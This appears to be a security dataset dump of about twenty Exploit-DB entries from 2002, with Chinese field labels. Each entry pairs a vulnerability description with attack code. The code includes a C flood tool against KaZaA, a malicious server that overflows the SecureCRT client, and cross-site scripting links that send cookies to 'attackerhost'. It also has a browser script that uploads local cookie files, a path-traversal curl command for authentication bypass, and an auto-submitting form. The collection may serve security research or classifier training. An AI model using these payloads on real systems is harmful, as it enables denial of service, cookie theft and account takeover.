QLWD/code_shield huggingface dataset:
标题: KaZaA Media Desktop 1.7.1 - Large Message Denial of Service EDB-ID: 21653 CVE: 2002-2306 类型: DOS 平台: WINDOWS 发布日期: 2002-07-25 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5317/info

KaZaA may consume large amounts of CPU when processing a sequence of large messages. It is possible for an attacker to flood a vulnerable system with a large number of messages, resulting in a denial of service condition.

/*
   kazaa denial of service attack
   by Josh and omega
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdarg.h>

#define PORT 1214


int main(int argc, char *argv[])
{
   int fd, numbytes, randnum, k;
   struct hostent *host;
   struct sockaddr_in them;
   char buf2[4026];
   char buf[5000];
   char *bigboy;
   int i, size, j;


   memset(buf2, 'a', sizeof(buf2));
   buf2[sizeof(buf2)-1]='\0';
   srand(time(NULL));

   if (argc < 5)
   {
      fprintf(stderr,"usage: %s <hostname> <(this*4026) bytes per message> <username_of_target> <number_of_messages>\n", argv[0]);
      exit(1);
   }
   if ((host=gethostbyname(argv[1])) == NULL)
   {
      perror("gethostbyname");
      exit(1);
   }

   them.sin_family = AF_INET;
   them.sin_port = htons(PORT);
   them.sin_addr = *((struct in_addr *)host->h_addr);
   memset(&(them.sin_zero), '\0', 8);


   size=(4042*atoi(argv[2]))+280+1;
   bigboy=(char *)malloc(size);

   snprintf(bigboy, size, "GET /.message HTTP/1.1\nHost: 68.10.112.148:1214\nUserAgent: KazaaClient Jan 18 2002 18:53:21\nX-Kazaa-Username: 31337h4x0r\nX-Kazaa-Network: KaZaA\nX-Kazaa-IP: %d:1214\nX-Kazaa-SupernodeIP: %d:1214\nConnection:  open\nX-Kazaa-IMTo: %s@KaZaA\nX-Kazaa-IMType: user_text\n", randnum, randnum, argv[3]);

   /* the msg appears as one msg to the receiver, but comes in intervals of 4096 bytes... */
   snprintf(buf, sizeof(buf), "X-Kazaa-IMData: %s\n", buf2);
   for(k=0;k<atoi(argv[2]);k++)
   {
      strcat(bigboy, buf);
      k++;
   }
   strcat(bigboy, "\r\n\r\n\r\n\r\n\r\n");

   fprintf(stdout, "done preparing packet... sending\n");
   for(i=0, k=0;i<atoi(argv[4]);i++)
   {
     if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
     {
       perror("socket");
     }
     else
     {
       if (connect(fd, (struct sockaddr *)&them,sizeof(struct sockaddr)) == -1)
       {
         perror("connect");
       }
       else
       {
         printf("sending %d message\n", k);
         write(fd, bigboy, strlen(bigboy));
         k++;
         close(fd);
       }
     }
   }
   fprintf(stdout, "\n%d out of %d attempted got through\n", k, i);
   free(bigboy);
   return 0;
} URL: https://www.exploit-db.com/exploits/21653
标题: Pine 4.x - Empty MIME Boundary Denial of Service EDB-ID: 21644 CVE: 2002-2325 类型: DOS 平台: UNIX 发布日期: 2002-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5301/info

Pine is an open source mail user agent distributed by the University of Washington. It is freely available for Unix, Linux, and Microsoft Operating Systems.

When a mail is received by pine that contains MIME content, and the value of the MIME boundary is blank, pine becomes unstable. This vulnerability has been discovered to cause a core dump in the pine client, and could be used to deny service to legitimate users of the client.

Sending an email to a pine user containing MIME content with the following fields set as specified will cause the crash:

Content-Type: multipart/mixed; boundary=""
Mime-Version: 1.0 URL: https://www.exploit-db.com/exploits/21644
标题: GNU Mailman 2.0.x - Subscribe Cross-Site Scripting EDB-ID: 21641 CVE: 2002-0855 类型: REMOTE 平台: CGI 发布日期: 2002-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5298/info

GNU Mailman is prone to a cross-site scripting vulnerability. Arbitrary HTML and script code are not sanitized from the URI parameters of mailing list subscribe scripts.

An attacker may exploit this issue by creating a malicious link containing arbitrary script code and enticing a web user to visit the link.

http://target/mailman/subscribe/ml-name?info=<script>document.location%3D"http://attackerhost/attackerscript.cgi?"%2Bdocument.cookie;</script> URL: https://www.exploit-db.com/exploits/21641
标题: GNU Mailman 2.0.x - Admin Login Variant Cross-Site Scripting EDB-ID: 21642 CVE: 2002-0855 类型: REMOTE 平台: CGI 发布日期: 2002-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5299/info

GNU Mailman is prone to a cross-site scripting vulnerability. An attacker may construct a malicious link to the administrative login page, which contains arbitrary HTML and script code. 

A user visiting the link will have the attacker's script code executed in their web browser in the context of the site running the vulnerable software.

http://target/mailman_directory/admin/ml-name?adminpw="/onClick="window.open('http://attackerhost/attackerscript.cgi?'+document.cookie); URL: https://www.exploit-db.com/exploits/21642
标题: Opera 6.0.1 / Microsoft Internet Explorer 5/6 - JavaScript Modifier Keypress Event Subversion EDB-ID: 21636 CVE: 2002-2312 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/5290/info

An issue has been reported with the JavaScript implementation of multiple web browsers, including Microsoft Internet Explorer and Opera. Malicious JavaScript may subvert some keypress events, with consequences including the disclosure of arbitrary local files to a remote server.

Through JavaScript, it is possible to define an event handler for the 'onkeydown' event, which fires when a key is pressed by the end user. Malicious script code may subvert this event to an arbitrary Ctrl-key combination, including events such as Paste. By further modifying the environment, it is possible to paste arbitrary content into a file upload form field.

This form may also be submitted by the malicious script, disclosing arbitrary local file contents to a remote server.

Other attacks based on script interaction with the cut and paste functionality of Windows may also be possible.

<div id=h style="zoom:0.0001">
<form name=u enctype="multipart/form-data" method=post action=upload.php>
<input type=file name=file></form></div>
<script>
//uploadFile="..\\LOCALS~1\\TEMPOR~1\\CONTENT.IE5\\index.dat";
uploadFile="..\\Cookies\\index.dat";
function gotKey(){
if (event.ctrlKey)
event.keyCode = 86;
else if (event.shiftKey)
event.keyCode = 45;
else
return;
document.onkeydown = null;
window.clipboardData.setData("Text",uploadFile);
(p=document.forms.u.file).focus();
p.onpropertychange = function(){document.forms.u.submit()};
} document.onkeydown = gotKey;
window.onload=function(){document.body.focus()};
</script> URL: https://www.exploit-db.com/exploits/21636
标题: Cobalt Qube 3.0 - Authentication Bypass EDB-ID: 21640 CVE: 2002-1058 类型: WEBAPPS 平台: PHP 发布日期: 2002-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5297/info

A vulnerability has been reported for Cobalt Qube that may allow an attacker to bypass the authentication mechanism and obtain administrative privileges. 

The vulnerability occurs because of a weak authentication mechanism with Cobalt Qube appliances. The authentication mechanism fails to properly validate the input supplied in the client cookie. Thus it is possible for an attacker to refer to a file on the filesystem as that containing the session key. This vulnerability may be exploited by remote attackers to obtain administrative privileges on the device.

$curl -b sessionId=../../../../../../../../etc/passwd\;loginName=root:x:0:0:root:/root:/bin/bash
http://192.168.0.1:444/splashAdmin.php

This will allow the attacker to delete the password file.

The following will enable the attacker to obtain administrative credentials on the vulnerable system.
$curl -b sessionId=../codb/objects/4/.name\;loginName=admin
http://192.168.0.1:444/splashAdmin.php

$ curl -b sessionId=/../../../../../../tmp/test\;loginName=admin
http://192.168.0.1:444/splashAdmin.php URL: https://www.exploit-db.com/exploits/21640
标题: Mozilla 0.9.x/1.0 - JavaScript URL Host Spoofing Arbitrary Cookie Access EDB-ID: 21638 CVE: 2002-2314 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5293/info


Mozilla is an open source web browser available for a number of platforms, including Microsoft Windows and Linux. An issue has been reported in the Mozilla web browser which may allow script code to access cookie data associated with arbitrary domains.

It has been reported possible to create a javascript: URL which appears to start with a valid domain. Malicious script code may specify an arbitrary domain, and will be able to access cookie data associated with that domain.

Exploitation of this vulnerability may result in a remote attacker gaining access to sensitive cookie data, including authentication credentials.

<pre>
Title: Mozilla cookie stealing/spoofing
Date: [2002-07-24]
Impact: Steal/spoof arbitrary cookie _ _
using javascript: URLs o' \,=./ `o
Author: Andreas Sandblad, sandblad@acc.umu.se (o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
This demo will display your google cookie (must exist).
</pre>

<body onload=init()>
<iframe name=f height=0 width=0 style=visibility:hidden></iframe>
<script>
function init(){
f.location = "javascript://www.google.com/\n"+
"'<body onload=alert(document.cookie)>'";
}
</script> URL: https://www.exploit-db.com/exploits/21638
标题: SecureCRT 2.4/3.x/4.0 - SSH1 Identifier String Buffer Overflow (1) EDB-ID: 21634 CVE: 2002-1059 类型: DOS 平台: WINDOWS 发布日期: 2002-07-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5287/info

The SecureCRT client is prone to a buffer-overflow condition when attempting to handle an overly long SSH1 protocol identifier string. Reportedly, an attacker can exploit this issue via a malicious server. 

Exploiting this issue may allow an attacker to execute arbitrary code or may cause the client to crash.

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 9988

int main(int argc, char **argv) {
    int s, n, i, sz = sizeof(struct sockaddr_in);
    struct sockaddr_in local, whatever;
    char payload[510];

    strcpy(payload, "SSH-1.1-");
    for (i = 8; i < 508; i++)
        payload[i] = 'A';
    payload[508] = '\n';
    payload[509] = '\0';

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket");
        return 1;
    }
    local.sin_family = AF_INET;
    local.sin_port = htons(PORT);
    local.sin_addr.s_addr = INADDR_ANY;
    memset(&(local.sin_zero), 0, 8);
    if (bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) 
{
        perror("bind");
        return 1;
    }
    if (listen(s, 2) == -1)  {
        perror("listen");
        return 1;
    }
    printf("waiting for connection...\n");
    if ((n = accept(s, (struct sockaddr *)&whatever, &sz)) == -1) {
        perror("accept");
        return 1;
    }
    printf("client connected\n");
    if (send(n, payload, sizeof(payload) - 1, 0) == -1) {
        perror("send");
        return 1;
    }
    printf("sent string: [%s]\n", payload);
    close(n);
    close(s);
    return 0;
} URL: https://www.exploit-db.com/exploits/21634
标题: Adobe eBook Reader 2.2 - File Restoration Privilege Escalation EDB-ID: 21629 CVE: 2002-1016 类型: LOCAL 平台: WINDOWS 发布日期: 2002-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/5273/info

Adobe eBook Reader is a client side application which is able to view Adobe eBooks, available for Microsoft Windows and Macintosh OS 9. eBooks are electronic books which provide some protection for content. Users may be able to view a book, but have limited publisher defined privileges to copy content.

It is possible to bypass some quota restrictions. Non-zero quotas on copying and printing content may be bypassed by repeatedly restoring certain files used to maintain state from backups.

This vulnerability has been reported in versions of eBook Reader for Microsoft Windows. It may, however, exist on other platforms.

Data\Vouchers\*.*
Data\GB.dbd
Data\Category.etb
Data\Library*.etb
Data\Library*.vld URL: https://www.exploit-db.com/exploits/21629
标题: Macromedia Sitespring 1.2 - Default Error Page Cross-Site Scripting EDB-ID: 21621 CVE: 2002-1027 类型: WEBAPPS 平台: JSP 发布日期: 2002-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/5249/info

Macromedia Sitespring is a J2EE-compliant product for managing website production. The Macromedia Sitespring server runs on Microsoft Windows operating systems.

A cross-site scripting issue has been reported in the default error page used by Sitespring. When an HTTP 500 error is returned, some user-supplied data is included in the generated HTML. Since this data isn't properly sanitized, an attacker may be able to include arbitrary HTML, including JavaScript. 

http://server/error/500error.jsp?et=1<script>alert('KPMG')</script> URL: https://www.exploit-db.com/exploits/21621
标题: IMHO Webmail 0.9x - Account Hijacking EDB-ID: 21617 CVE: 2002-2165 类型: WEBAPPS 平台: CGI 发布日期: 2002-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5238/info

A vulnerability has been reported in the IMHO Roxen webmail module which may enable a malicious user of the webmail system to gain access to the account of another user. This issue is due to an error in configuration which may leak the REFERER for a session with the webmail system, which an attacker may use to access another webmail account. 

- Login with an valid user/passwd,
- Logout
- Goto URL : (((webmail_URL)))/(old_error,plain)/mail/error?error=1

This will cause the webserver to display a REFERER. This REFERER may be submitted to access another user's session. URL: https://www.exploit-db.com/exploits/21617
标题: AOL Instant Messenger 4.x - Unauthorized Actions EDB-ID: 21619 CVE: 2002-2169 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5246/info


The AOL Instant Messenger client is prone to an issue which may allow maliciously crafted HTML to perform unauthorized actions (such as adding entries to the buddy list) on behalf of the user of a vulnerable client. This condition is due to how the client handles "aim:" URIs. These actions will be taken without prompting or notifying the user.

This issue was reported for versions of AIM running on Microsoft Windows and MacOS. The Linux version of the client is not affected by this vulnerability.

<META HTTP-EQUIV="refresh"CONTENT=0;URL=aim:addbuddy?listofscreennames=mindfliporg,mfliporb,mflipmax,mflips0nic,mflipzorcon&groupname=mindfliporg>

A web page loaded with the above code in the META REFRESH tag will
automatically add a group called mindfliporg and add the users mindfliporg, mfliporb, mflipmax, mflips0nic, mflipzorcon to buddy list. URL: https://www.exploit-db.com/exploits/21619
标题: PHP-Wiki 1.2/1.3 - Cross-Site Scripting EDB-ID: 21622 CVE: 2002-1070 类型: WEBAPPS 平台: PHP 发布日期: 2002-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/5254/info

PHP-Wiki does not sufficiently sanitize HTML from URI parameters, making it prone to cross-site scripting attacks. An attacker may exploit this condition by enticing users to visit a malicious link which contains attacker-supplied script code.

PHP-Wiki may be used as a module for other software such as PostNuke. 

http://target/path/modules.php?op=modload&name=Wiki&file=index&pagename=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/21622
标题: Oddsock Song Requester 2.1 WinAmp Plugin - Denial of Service EDB-ID: 21620 CVE: 2002-1028 类型: DOS 平台: CGI 发布日期: 2002-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5248/info

A vulnerability has been reported for Oddsock Song Requester 2.1.

The vulnerability occurs when an attacker makes a request to 'request.cgi' using a long value for the 'listpos' parameter. It is possible to cause Song Requester and WinAmp to crash. As this condition may be due to a buffer overflow, code execution should be considered a possibility.

Note: it was reported that the value for the 'psearch' parameter also causes a crash, however this could not be reproduced by SecurityFocus.

http://<musicserver>/request.cgi?listpos=999...999(9x256) URL: https://www.exploit-db.com/exploits/21620
标题: Oracle Reports Server 6.0.8/9.0.2 - Information Disclosure EDB-ID: 21627 CVE: 2002-1089 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-07-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/5262/info

A problem with Reports Server could make it possible to gain sensitive information from the server.

Under some circumstances, Reports Server may yield sensitive information to unauthenticated remote users. This information may include the system path, software installed on the vulnerable system, and other information that may be used as points of entry.

http://some.site.com/cgi-bin/rwcgi60
http://some.site.com/cgi-bin/rwcgi60/showenv URL: https://www.exploit-db.com/exploits/21627
标题: Working Resources 1.7.x BadBlue - Administrative Interface Arbitrary File Access EDB-ID: 21630 CVE: 2002-2170 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/5276/info

BadBlue is a P2P file sharing application distributed by Working Resources. It is available for Microsoft Windows operating systems.

BadBlue does not sufficiently control access to the administrative interface. It is possible to remotely add the entire drive of a system running a vulnerable BadBlue implementation via a maliciously crafted web page containing a form POST method. This would allow remote users to via the contents of the drive with the privileges of the BadBlue server.

<HTML>
<HEAD>
<FORM ACTION=http://localhost/ext.dll METHOD=GET>
<INPUT TYPE=hidden NAME=MfcISAPICommand VALUE=LoadPage>
<INPUT TYPE=hidden NAME=page VALUE=dir.hts>
<INPUT TYPE=hidden NAME=a0 VALUE=add>
<INPUT TYPE=hidden NAME=a2 VALUE=hd>
<INPUT TYPE=hidden NAME=a1 VALUE=C:\>
</FORM>
</HEAD>
<BODY ONLOAD="document.forms(0).submit()" />
</HTML> URL: https://www.exploit-db.com/exploits/21630
标题: Working Resources 1.7.3 BadBlue - Null Byte File Disclosure EDB-ID: 21616 CVE: 2002-1021 类型: REMOTE 平台: WINDOWS 发布日期: 2002-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/5226/info

BadBlue is a P2P file sharing application distributed by Working Resources. It is available for Microsoft Windows operating systems.

It has been discovered that a request passed to a BadBlue server containing a null byte at the end of a file name will return the contents of the file. This type of request can be applied to gain access to sensitive information, such as the BadBlue configuration file. 

GET /ext.ini.% 00.txt HTTP/1.0 URL: https://www.exploit-db.com/exploits/21616
标题: Microsoft Internet Explorer 5/6 - OBJECT Tag Same Origin Policy Violation EDB-ID: 21606 CVE: 2002-0723 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/5196/info

Microsoft Internet Explorer allows script code to violate the same origin policy through usage of the HTML OBJECT tag. Malicious script code may obtain a legitimate reference to an embedded object containing a web page from the same domain. This script may then change the location of the embedded object to a sensitive page, and maintain the reference to the object. This provides full access to the DOM of the embedded page. 

<object id="data" data="empty.html" type="text/html"></object>
<script>
var ref=document.getElementById("data").object;
ref.location.href = "http://www.passport.com";
setTimeout("alert(ref.cookie)",5000);
</script> URL: https://www.exploit-db.com/exploits/21606
标题: Fluid Dynamics Search Engine 2.0 - Cross-Site Scripting EDB-ID: 21609 CVE: 2002-1036 类型: WEBAPPS 平台: CGI 发布日期: 2002-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/5199/info

Fluid Dynamics Search Engine is a search application for local and remote web sites, and is designed to work in most UNIX and Microsoft Windows environments. Fluid Dynamics Search Engine and is maintained by Zoltan Milosevic.

It is possible for attackers to construct a URL that will cause scripting code to be embedded in a search results page. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site.

http://www.xav.com/search.pl?Realm=All&Match=0&Terms=test&nocpp=1&maxhits=10&Rank=<br><h1>XSS</h1> URL: https://www.exploit-db.com/exploits/21609
标题: Microsoft IIS 4.0/5.0 - SMTP Service Encapsulated SMTP Address (MS99-027) EDB-ID: 21613 CVE: 2002-1790 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/5213/info

Microsoft Exchange 5.5 and the SMTP (Simple Mail Transfer Protocol) service included with IIS (Internet Information Services) 4.0 and 5.0 are vulnerable to an encapsulated SMTP address vulnerability.

The vulnerability was originally announced in Microsoft Security Bulletin MS99-027 and reported to affect Exchange Server 5.5. Microsoft released a patch to fix the vulnerability for Exchange Server 5.5 only. It has been recently reported that this vulnerability also affects the SMTP service included with Microsoft IIS 4.0 and 5.0. There exists no patch for the IIS SMTP service.

220 test-mailer Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 ready
at
Tue, 28 May 2002 14:54:10 +0100
helo
250 test-mailer Hello [IP address of source host]
MAIL FROM: test@test.com
250 2.1.0 test@test.com....Sender OK
RCPT TO: test2@test.com
550 5.7.1 Unable to relay for test@test.com
RCPT TO: IMCEASMTP-test+40test+2Ecom@victim.co.uk
250 2.1.5 IMCEASMTP-test+40test+2Ecom@victim.co.uk
data
354 Start mail input; end with <CRLF>.<CRLF>
Subject: You are vulnerable. URL: https://www.exploit-db.com/exploits/21613
标题: Ultrafunk Popcorn 1.20 - Multiple Denial of Service Vulnerabilities EDB-ID: 21612 CVE: 2002-1043 类型: DOS 平台: WINDOWS 发布日期: 2002-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/5212/info

Ultrafunk Popcorn email client is designed for Microsoft Windows systems and is no longer being maintained.

It has been reported that Popcorn email client will stop responding when attempting to open malformed messages.

Reportedly, a message containing an unusual amount of data or a malformed string of characters in the subject field will initiate a denial of service. This has also been known to occur when the date field of a mail message has the year specified higher than 2037. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21612.tgz URL: https://www.exploit-db.com/exploits/21612
标题: Apache Tomcat 4.0.3 - Servlet Mapping Cross-Site Scripting EDB-ID: 21604 CVE: 2002-0682 类型: REMOTE 平台: LINUX 发布日期: 2002-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/5193/info

A vulnerability has been reported for Apache Tomcat 4.0.3 on Microsoft Windows and Linux platforms. Reportedly, it is possible for an attacker to launch a cross site scripting attack.

When servlet mapping is enabled, it is possible to invoke various servlets and classes and cause Apache Tomcat to throw an exception. This will make cross site scripting attacks possible. 

tomcat-server/servlet/org.apache.catalina.servlets.WebdavStatus/<SCRIPT>alert(document.domain)</SCRIPT>
tomcat-server/servlet/org.apache.catalina.ContainerServlet/<SCRIPT>alert(document.domain)</SCRIPT>
tomcat-server/servlet/org.apache.catalina.Context/<SCRIPT>alert(document.domain)</SCRIPT>
tomcat-server/servlet/org.apache.catalina.Globals/<SCRIPT>alert(document.domain)</SCRIPT> URL: https://www.exploit-db.com/exploits/21604